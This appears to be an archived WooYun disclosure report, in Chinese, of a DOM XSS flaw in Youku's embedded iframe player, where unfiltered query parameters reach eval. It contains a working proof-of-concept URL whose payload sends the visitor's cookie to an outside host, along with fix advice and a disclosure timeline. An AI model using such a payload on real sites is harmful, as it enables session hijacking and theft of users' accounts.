破壳企业应急安全(防御方向)课程 应急响应 勒索病毒 挖矿木马 DDOS 日志分析

优酷分享iframe播放器页面存在dom xss漏洞(附漏洞分析过程)

编号173424
Urlhttp://www.wooyun.org/bug.php?action=view&id=173424
漏洞状态厂商已经确认
漏洞标题优酷分享iframe播放器页面存在dom xss漏洞(附漏洞分析过程)
漏洞类型XSS跨站脚本攻击
厂商优酷
白帽子正宗
提交日期2016-01-28 19:43:00
公开日期2016-03-13 18:02:00
修复时间(not set)
确认时间2016-01-29 00:00:00
Confirm Spend1
漏洞标签反射型xss 优酷
关注数0
收藏数0
白帽评级
白帽自评rank8
厂商评级
厂商评rank8
漏洞简介
优酷分享iframe播放器页面存在xss漏洞,可以通过此漏洞获取用户cookie
漏洞细节

优酷分享页面地址
http://player.youku.com/embed/XMTQ1ODYyODYwNA==

1.png


页面内联js通过地址栏query获取参数,未对参数经行xss过滤。
然后这些参数作为config初始化YoukuPlayerSelect。

2.png


3.png


YoukuPlayerSelect里在获取参数时,没有对参数进行xss过滤,并且利用eval执行参数。

POC

下面的链接可以把用户cookie提交到github.com, 测试环境chrome
http://player.youku.com/embed/XMTQ1ODYyODYwNA==?autoplay=a=document.createElement(`img`);a.src=`http://github.com/`+document.cookie;document.body.appendChild(a)

4.png


修复方案

取query参数时,做xss过滤
禁止eval执行。

状态信息 2016-01-28: 细节已通知厂商并且等待厂商处理中
2016-01-29: 厂商已经确认,细节仅向厂商公开
2016-02-08: 细节向核心白帽子及相关领域专家公开
2016-02-18: 细节向普通白帽子公开
2016-02-28: 细节向实习白帽子公开
2016-03-13: 细节向公众公开
厂商回复感谢您的提醒!漏洞已经通知开发人员进行修复!
回应信息危害等级:中漏洞Rank:8 确认时间:2016-01-29 09:59
Showing 1-1 of 1 item.
评论内容评论人点赞数评论时间

漂亮的Dom XSS!

疯狗02016-01-28 19:43:00